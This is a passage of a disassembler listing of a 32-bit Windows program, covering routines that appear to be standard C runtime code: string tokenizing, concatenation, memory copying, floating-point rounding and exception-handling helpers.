pop edi
loc_41CAED: ; CODE XREF: sub_41CAD4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41CAED
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41CB15
mov edx, dword_4DBE28
loc_41CB15: ; CODE XREF: sub_41CAD4+39j
; sub_41CAD4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41CB35
test al, al
jz short loc_41CB35
inc edx
jmp short loc_41CB15
; ---------------------------------------------------------------------------
loc_41CB35: ; CODE XREF: sub_41CAD4+58j
; sub_41CAD4+5Cj
mov ebx, edx
loc_41CB37: ; CODE XREF: sub_41CAD4+81j
mov al, [edx]
test al, al
jz short loc_41CB5B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41CB57
inc edx
jmp short loc_41CB37
; ---------------------------------------------------------------------------
loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej
and byte ptr [edx], 0
inc edx
loc_41CB5B: ; CODE XREF: sub_41CAD4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DBE28, edx
and eax, ebx
pop ebx
leave
retn
sub_41CAD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp
; sub_415DAC+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41CBAE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41CBBB
; ---------------------------------------------------------------------------
loc_41CBAE: ; CODE XREF: sub_41CB70+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj
mov eax, esi
pop esi
leave
retn
sub_41CB70 endp
; =============== S U B R O U T I N E =======================================
sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p
; sub_40B90E+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41CC74
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41CBEA
loc_41CBDB: ; CODE XREF: sub_41CBC0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41CC1B
test edi, 3
jnz short loc_41CBDB
loc_41CBEA: ; CODE XREF: sub_41CBC0+19j
; sub_41CBC0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41CBEA
mov eax, [edi-4]
test al, al
jz short loc_41CC28
test ah, ah
jz short loc_41CC23
test eax, 0FF0000h
jz short loc_41CC1E
test eax, 0FF000000h
jnz short loc_41CBEA
loc_41CC1B: ; CODE XREF: sub_41CBC0+20j
dec edi
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC1E: ; CODE XREF: sub_41CBC0+52j
sub edi, 2
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj
sub edi, 3
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC28: ; CODE XREF: sub_41CBC0+47j
sub edi, 4
loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj
; sub_41CBC0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41CC40
mov ebx, ecx
shr ecx, 2
jnz short loc_41CC8C
jmp short loc_41CC5C
; ---------------------------------------------------------------------------
loc_41CC40: ; CODE XREF: sub_41CBC0+75j
; sub_41CBC0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41CC7A
mov [edi], dl
inc edi
dec ecx
jz short loc_41CC70
test esi, 3
jnz short loc_41CC40
mov ebx, ecx
shr ecx, 2
jnz short loc_41CC8C
loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej
; sub_41CBC0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41CC70
loc_41CC63: ; CODE XREF: sub_41CBC0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41CC72
dec ecx
jnz short loc_41CC63
loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj
; sub_41CBC0+A1j
mov [edi], cl
loc_41CC72: ; CODE XREF: sub_41CBC0+ABj
pop ebx
pop esi
loc_41CC74: ; CODE XREF: sub_41CBC0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CC7A: ; CODE XREF: sub_41CBC0+85j
; sub_41CBC0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CC84: ; CODE XREF: sub_41CBC0+E4j
; sub_41CBC0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41CC5C
loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj
; sub_41CBC0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41CC84
test dl, dl
jz short loc_41CC7A
test dh, dh
jz short loc_41CCD8
test edx, 0FF0000h
jz short loc_41CCC8
test edx, 0FF000000h
jnz short loc_41CC84
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41CBC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCE3 proc near ; CODE XREF: .text:0040B062p
; sub_40C2AF+40p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41B9C0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420DB0
add esp, 10h
leave
retn
sub_41CCE3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p
; sub_40B13C+6Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CD40
cmp edi, eax
jb loc_41CEB8
loc_41CD40: ; CODE XREF: sub_41CD20+16j
test edi, 3
jnz short loc_41CD5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp ds:off_41CE68[edx*4]
; ---------------------------------------------------------------------------
loc_41CD5C: ; CODE XREF: sub_41CD20+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CD74
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CD74: ; CODE XREF: sub_41CD20+46j
jmp dword ptr ds:loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CD7C: ; CODE XREF: sub_41CD20+31j
; sub_41CD20+8Ej ...
jmp ds:off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 0CDh, 41h, 0
dd offset loc_41CDBC
dd offset loc_41CDE0
; ---------------------------------------------------------------------------
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp ds:off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CDBC: ; DATA XREF: sub_41CD20+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp ds:off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CDE0: ; DATA XREF: sub_41CD20+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp ds:off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr
dd offset loc_41CE4C
dd offset loc_41CE44
dd offset loc_41CE3C
dd offset loc_41CE34
dd offset loc_41CE2C
dd offset loc_41CE24
dd offset loc_41CE1C
; ---------------------------------------------------------------------------
loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20:off_41CDFCo
jmp ds:off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r
; sub_41CD20+92r ...
dd offset loc_41CE80
dd offset loc_41CE8C
dd offset loc_41CEA0
; ---------------------------------------------------------------------------
loc_41CE78: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CE80: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CE8C: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CEA0: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CEEC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp ds:off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j
; sub_41CD20+208j ...
neg ecx
jmp ds:off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CF04
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CF04: ; CODE XREF: sub_41CD20+1D6j
; DATA XREF: sub_41CD20+1DDr
jmp ds:off_41D000[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
cmp bh, cl
inc ecx
add [eax-31h], ah
inc ecx
loc_41CF17: ; DATA XREF: sub_41CD20+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp ds:off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp ds:off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CEE0
std
rep movsd
cld
jmp ds:off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CFB4
dd offset loc_41CFBC
dd offset loc_41CFC4
dd offset loc_41CFCC
dd offset loc_41CFD4
dd offset loc_41CFDC
dd offset loc_41CFE4
off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------
loc_41CFB4: ; DATA XREF: sub_41CD20+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CFBC: ; DATA XREF: sub_41CD20+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CFC4: ; DATA XREF: sub_41CD20+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CFCC: ; DATA XREF: sub_41CD20+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CFD4: ; DATA XREF: sub_41CD20+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CFDC: ; DATA XREF: sub_41CD20+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CFE4: ; DATA XREF: sub_41CD20+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j
; DATA XREF: sub_41CD20:off_41CFB0o
jmp ds:off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r
; sub_41CD20:loc_41CF04r ...
dd offset loc_41D018
dd offset loc_41D028
dd offset loc_41D03C
; ---------------------------------------------------------------------------
loc_41D010: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D018: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D028: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D03C: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CD20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D055(double)
sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43AE10
call sub_422089
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D0DB
call sub_421F51
pop ecx
test eax, eax
pop ecx
jle short loc_41D0BE
cmp eax, 2
jle short loc_41D0B0
cmp eax, 3
jnz short loc_41D0BE
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_421861
add esp, 10h
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0B0: ; CODE XREF: sub_41D055+3Fj
push esi
push ebx
call sub_422089
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0BE: ; CODE XREF: sub_41D055+3Aj
; sub_41D055+44j
fld [ebp+arg_0]
fadd ds:dbl_4276F8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41D118
; ---------------------------------------------------------------------------
loc_41D0DB: ; CODE XREF: sub_41D055+2Fj
call sub_421F16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D0FE
loc_41D0F0: ; CODE XREF: sub_41D055+ACj
push esi
push ebx
call sub_422089
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0FE: ; CODE XREF: sub_41D055+99j
test bl, 20h
jnz short loc_41D0F0
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41D118: ; CODE XREF: sub_41D055+84j
call sub_4218B4
add esp, 1Ch
loc_41D120: ; CODE XREF: sub_41D055+59j
; sub_41D055+67j ...
pop esi
pop ebx
leave
retn
sub_41D055 endp
; =============== S U B R O U T I N E =======================================
sub_41D124 proc near ; CODE XREF: sub_41C164+9p
; sub_422152+21p
; DATA XREF: ...
call sub_41D13C
call sub_422152
mov dword_4DBE30, eax
call sub_422102
fnclex
retn
sub_41D124 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41D13C proc near ; CODE XREF: sub_41D124p
mov eax, offset sub_422540
mov off_43D424, offset sub_4221D5
mov off_43D420, eax
mov off_43D428, offset sub_42223B
mov off_43D42C, offset sub_42217B
mov off_43D430, offset sub_422223
mov off_43D434, eax
retn
sub_41D13C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp
; sub_40D2F4+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41D174 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D19B(double)
sub_41D19B proc near ; CODE XREF: sub_40D340+82p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43AE28
call sub_422089
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D221
call sub_421F51
pop ecx
test eax, eax
pop ecx
jle short loc_41D204
cmp eax, 2
jle short loc_41D1F6
cmp eax, 3
jnz short loc_41D204
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_421861
add esp, 10h
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj
push esi
push ebx
call sub_422089
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D204: ; CODE XREF: sub_41D19B+3Aj
; sub_41D19B+44j
fld [ebp+arg_0]
fadd ds:dbl_4276F8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41D25E
; ---------------------------------------------------------------------------
loc_41D221: ; CODE XREF: sub_41D19B+2Fj
call sub_421F16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D244
loc_41D236: ; CODE XREF: sub_41D19B+ACj
push esi
push ebx
call sub_422089
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D244: ; CODE XREF: sub_41D19B+99j
test bl, 20h
jnz short loc_41D236
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41D25E: ; CODE XREF: sub_41D19B+84j
call sub_4218B4
add esp, 1Ch
loc_41D266: ; CODE XREF: sub_41D19B+59j
; sub_41D19B+67j ...
pop esi
pop ebx
leave
retn
sub_41D19B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D26A proc near ; CODE XREF: sub_4229B1+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41D26A endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41D29E proc near ; CODE XREF: sub_422B62+199p
; sub_422D26+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D29E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D2A5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp
; sub_4229B1:loc_4229E2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41D2D4
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_426356 ; RtlUnwind
loc_41D2D4: ; DATA XREF: sub_41D2AC+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_41D2AC endp
; ---------------------------------------------------------------------------
loc_41D2FB: ; CODE XREF: .text:00426AACj
; .text:00426AC9j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_4225B6
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D331 proc near ; CODE XREF: sub_422A2C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41D385
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422DB0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41D331 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D385 proc near ; DATA XREF: sub_41D331+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4225B6
add esp, 20h
pop ebp
retn
sub_41D385 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41D45E
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41D430
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DBE70
pop ecx
